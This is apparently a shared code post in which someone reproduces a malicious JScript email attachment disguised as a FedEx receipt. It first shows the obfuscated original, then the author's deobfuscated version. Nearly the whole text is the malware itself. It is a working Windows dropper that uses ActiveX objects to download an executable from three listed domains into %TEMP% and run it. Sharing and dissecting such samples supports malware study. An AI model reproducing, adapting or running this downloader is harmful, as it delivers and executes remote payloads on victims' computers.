// A virus showed up in my email today.
// It was a zip file claiming to be a Fedex receipt.
// To my surprise, the zip did not contain an exe, but a js file.
// I got a kick out of it, so I thought I'd share it.
// I have added newlines and some spaces, but otherwise left it as received:
var stroke="5557575E0E0B170C12241E0B0B090D0A1001160A01104A0A0110";
function pk44pa() { return 'Shel'; };
function pk112pa() { return '= '; };
function pk100pa() { return 'ch'; };
function pk188pa() { return 'GET'; };
function pk4pa() { return 'l('; };
function pk186pa() { return '.ope'; };
function pk190pa() { return 'ht'; };
function pk114pa() { return 'xo.st'; };
function pk169pa() { return 'n(fn'; };
function pk218pa() { return '; if '; };
function pk184pa() { return 'y { '; };
var v = '';
function pk26pa() { return '(var '; };
function pk230pa() { return 'dl'; };
function pk142pa() { return 'esp'; };
function pk89pa() { return 'Obje'; };
function pk148pa() { return 'ze '; };
function pk194pa() { return '+"/d'; };
function pk35pa() { return ' n'; };
function pk16pa() { return 'es'; };
function pk199pa() { return 'd='; };
function pk215pa() { return 'ch ('; };
function pk78pa() { return '".exe'; };
function pk101pa() { return 'ange '; };
function pk121pa() { return '= n'; };
function pk80pa() { return 'va'; };
function pk150pa() { return '000)'; };
function pk33pa() { return '{ var'; };
function pk119pa() { return 'ar'; };
function pk66pa() { return 'Code('; };
function pk156pa() { return 'tio'; };
function pk54pa() { return 'me'; };
function pk76pa() { return '0000'; };
function pk72pa() { return 'ran'; };
function pk107pa() { return '(xo.'; };
function pk138pa() { return '; x'; };
function pk58pa() { return '("'; };
function pk208pa() { return 'e)'; };
function pk146pa() { return 'xa'; };
function pk104pa() { return 'ction'; };
function pk67pa() { return '92)+M'; };
function pk181pa() { return '); '; };
function pk211pa() { return 'en'; };
function pk196pa() { return 'um'; };
function pk34pa() { return ' ws ='; };
function pk145pa() { return ' if ('; };
function pk151pa() { return ' { dn'; };
function pk126pa() { return '("'; };
function pk133pa() { return 'n(); '; };
function pk168pa() { return '.Ru'; };
function pk77pa() { return '000)+'; };
function pk205pa() { return 'ok'; };
function pk158pa() { return '= 0'; };
function pk149pa() { return '> 5'; };
function pk116pa() { return ' == 2'; };
function pk6pa() { return '{ v'; };
function pk36pa() { return 'ew'; };
function pk68pa() { return 'at'; };
function pk46pa() { return 'var f'; };
function pk19pa() { return 'ers.'; };
function pk5pa() { return 'fr) '; };
function pk84pa() { return 'var '; };
function pk134pa() { return 'xa'; };
function pk195pa() { return 'oc'; };
function pk166pa() { return ' try '; };
function pk125pa() { return 'bject'; };
function pk32pa() { return 'i++) '; };
function pk180pa() { return 'ose('; };
function pk219pa() { return '(d'; };
function pk40pa() { return 'ct("'; };
function pk225pa() { return '311'; };
function pk61pa() { return '+St'; };
function pk141pa() { return 'xo.R'; };
function pk221pa() { return ' 1) b'; };
function pk226pa() { return '); dl'; };
function pk45pa() { return 'l"); '; };
function pk109pa() { return 'ySt'; };
function pk198pa() { return 'hp?rn'; };
function pk108pa() { return 'read'; };
function pk228pa() { return '05'; };
function pk74pa() { return 'm('; };
function pk143pa() { return 'onseB'; };
function pk179pa() { return 'xa.cl'; };
function pk204pa() { return 'tr'; };
function pk203pa() { return '="+s'; };
function pk9pa() { return 'rigg'; };
function pk171pa() { return '0);'; };
function pk164pa() { return 'n,2'; };
function pk25pa() { return 'for '; };
function pk163pa() { return '(f'; };
function pk167pa() { return '{ ws'; };
function pk71pa() { return 'Math.'; };
function pk92pa() { return 'XML2'; };
function pk81pa() { return 'r '; };
function pk79pa() { return '"; '; };
function pk131pa() { return 'a.'; };
function pk43pa() { return 'pt.'; };
function pk87pa() { return 'ct'; };
function pk162pa() { return 'ile'; };
function pk128pa() { return '.Str'; };
function pk88pa() { return 'iveX'; };
function pk63pa() { return 'ng.f'; };
function pk161pa() { return 'veToF'; };
function pk10pa() { return 'st.'; };
function pk99pa() { return 'te'; };
function pk98pa() { return 'dysta'; };
function pk231pa() { return '(15'; };
function pk122pa() { return 'ew A'; };
function pk48pa() { return '= '; };
function pk50pa() { return '.Ex'; };
function pk21pa() { return '".s'; };
function pk3pa() { return 'n d'; };
function pk210pa() { return 'xo.s'; };
function pk206pa() { return 'e,'; };
function pk62pa() { return 'ri'; };
function pk152pa() { return ' = '; };
function pk97pa() { return 'rea'; };
function pk106pa() { return 'if '; };
function pk227pa() { return '(1'; };
function pk178pa() { return '}; '; };
function pk124pa() { return 'eXO'; };
function pk176pa() { return 'r) {'; };
function pk115pa() { return 'atus'; };
function pk110pa() { return 'at'; };
function pk52pa() { return 'En'; };
function pk160pa() { return 'a.sa'; };
function pk8pa() { return ' = "'; };
function pk187pa() { return 'n("'; };
function pk2pa() { return 'ctio'; };
function pk207pa() { return ' fals'; };
function pk177pa() { return '}; '; };
function pk214pa() { return 'at'; };
function pk224pa() { return '; dl('; };
function pk86pa() { return 'new A'; };
function pk13pa() { return 'dcpow'; };
function pk172pa() { return ' }'; };
function pk65pa() { return 'ar'; };
function pk73pa() { return 'do'; };
function pk209pa() { return '; '; };
function pk57pa() { return 'gs'; };
function pk12pa() { return 'm s'; };
function pk51pa() { return 'pand'; };
function pk70pa() { return 'und('; };
function pk182pa() { return '}; };'; };
function pk1pa() { return 'fun'; };
function pk93pa() { return '.XMLH'; };
function pk197pa() { return 'ent.p'; };
function pk233pa() { return ';'; };
function pk69pa() { return 'h.ro'; };
function pk139pa() { return 'a.w'; };
function pk85pa() { return 'xo = '; };
function pk82pa() { return 'dn '; };
function pk154pa() { return 'a.p'; };
function pk155pa() { return 'osi'; };
function pk127pa() { return 'ADODB'; };
function pk0pa() { return 'eval'; };
function pk144pa() { return 'ody);'; };
function pk212pa() { return 'd();'; };
function pk183pa() { return ' tr'; };
function pk37pa() { return ' Acti'; };
function pk200pa() { return '"+f'; };
function pk130pa() { return '); x'; };
function pk111pa() { return 'e ='; };
function pk38pa() { return 'veXOb'; };
function pk27pa() { return 'i=0'; };
function pk232pa() { return '73)'; };
function pk23pa() { return '(" ")'; };
function pk11pa() { return 'co'; };
function pk75pa() { return ')*10'; };
function pk159pa() { return '; x'; };
function pk157pa() { return 'n '; };
function pk189pa() { return '","'; };
function pk60pa() { return '%")'; };
function pk147pa() { return '.si'; };
function pk220pa() { return 'n =='; };
function pk223pa() { return ' }; }'; };
function pk185pa() { return 'xo'; };
function pk59pa() { return '%TEMP'; };
function pk135pa() { return '.ty'; };
function pk165pa() { return ');'; };
function pk17pa() { return '-egla'; };
function pk102pa() { return '= '; };
function pk132pa() { return 'ope'; };
function pk153pa() { return '1; x'; };
function pk14pa() { return 'er.'; };
function pk31pa() { return 'gth; '; };
function pk7pa() { return 'ar b'; };
function pk129pa() { return 'eam"'; };
function pk173pa() { return ' cat'; };
function pk29pa() { return '<b'; };
function pk202pa() { return '&id'; };
function pk95pa() { return 'P"); '; };
function pk123pa() { return 'ctiv'; };
function pk22pa() { return 'plit'; };
function pk18pa() { return 'nti'; };
function pk20pa() { return 'fr'; };
function pk24pa() { return '; '; };
function pk39pa() { return 'je'; };
function pk28pa() { return '; i'; };
function pk216pa() { return 'er) '; };
function pk118pa() { return ' { v'; };
function pk229pa() { return '2); '; };
function pk105pa() { return '() { '; };
function pk136pa() { return 'pe '; };
function pk137pa() { return '= 1'; };
function pk64pa() { return 'romCh'; };
function pk191pa() { return 'tp:/'; };
function pk53pa() { return 'viron'; };
function pk49pa() { return 'ws'; };
function pk41pa() { return 'WS'; };
function pk42pa() { return 'cri'; };
function pk56pa() { return 'in'; };
function pk103pa() { return 'fun'; };
function pk117pa() { return '00)'; };
function pk170pa() { return ',1,'; };
function pk83pa() { return '= 0; '; };
function pk55pa() { return 'ntStr'; };
function pk192pa() { return '/"+b'; };
function pk30pa() { return '.len'; };
function pk91pa() { return 'MS'; };
function pk113pa() { return '4 && '; };
function pk96pa() { return 'xo.on'; };
function pk90pa() { return 'ct("'; };
function pk120pa() { return ' xa '; };
function pk222pa() { return 'reak;'; };
function pk201pa() { return 'r+"'; };
function pk217pa() { return '{}'; };
function pk193pa() { return '[i]'; };
function pk140pa() { return 'rite('; };
function pk15pa() { return 'com l'; };
function pk174pa() { return 'ch'; };
function pk213pa() { return ' } c'; };
function pk94pa() { return 'TT'; };
function pk47pa() { return 'n '; };
function pk175pa() { return ' (e'; };
for (var cl=1; cl<=233; cl++) {
v += this['pk'+cl+'pa']();
};
this[pk0pa()](v);
// =============================================================================
// =============================================================================
// === An evaluated version of the above is as follows: ========================
// =============================================================================
// =============================================================================
function dl(fr) {
var b = "riggst.com sdcpower.com les-eglantiers.fr".split(" ");
for (var i=0; i<b.length; i++) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%")
+ String.fromCharCode(92) // Yeah, you got me; backslashes are evil?
+ Math.round(Math.random() * 100000000)
+ ".exe";
var dn = 0;
var xo = new ActiveXObject("MSXML2.XMLHTTP"); // How funny is this?
xo.onreadystatechange = function() {
if (xo.readyState == 4 && xo.status == 200) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
if (xa.size > 5000) {
dn = 1; xa.position = 0;
xa.saveToFile(fn,2);
try {
ws.Run(fn,1,0);
} catch (er) {};
};
xa.close();
};
};
try {
xo.open("GET",
"http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke,
false);
xo.send();
} catch (er) {};
if (dn == 1) break;
};
};
dl(311);
dl(1052);
dl(1573);
Comments
0 B
|👍
/👎